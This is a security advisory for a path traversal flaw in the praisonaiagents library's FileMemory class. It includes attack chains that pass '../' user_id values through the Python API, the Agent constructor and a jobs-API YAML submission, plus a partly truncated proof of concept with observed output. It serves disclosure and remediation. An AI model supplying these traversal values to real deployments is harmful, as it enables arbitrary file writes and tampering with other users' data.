logo

Database

Lack of data validation - Path Traversal In praisonaiagents

Description

praisonaiagents vulnerable to arbitrary file write via unsanitized user_id in FileMemory.__init__() — path traversal to any writable location

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION...

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init...

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"...

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:...

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()...

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

    Any application that creates FileMemory instances with user-controlled user_id

    Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

    Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

    Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

    Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

    Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

    Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

GHSA-766v-q9x3-g744
This finding

---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python...

The same pattern should be applied to base_path parameter.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions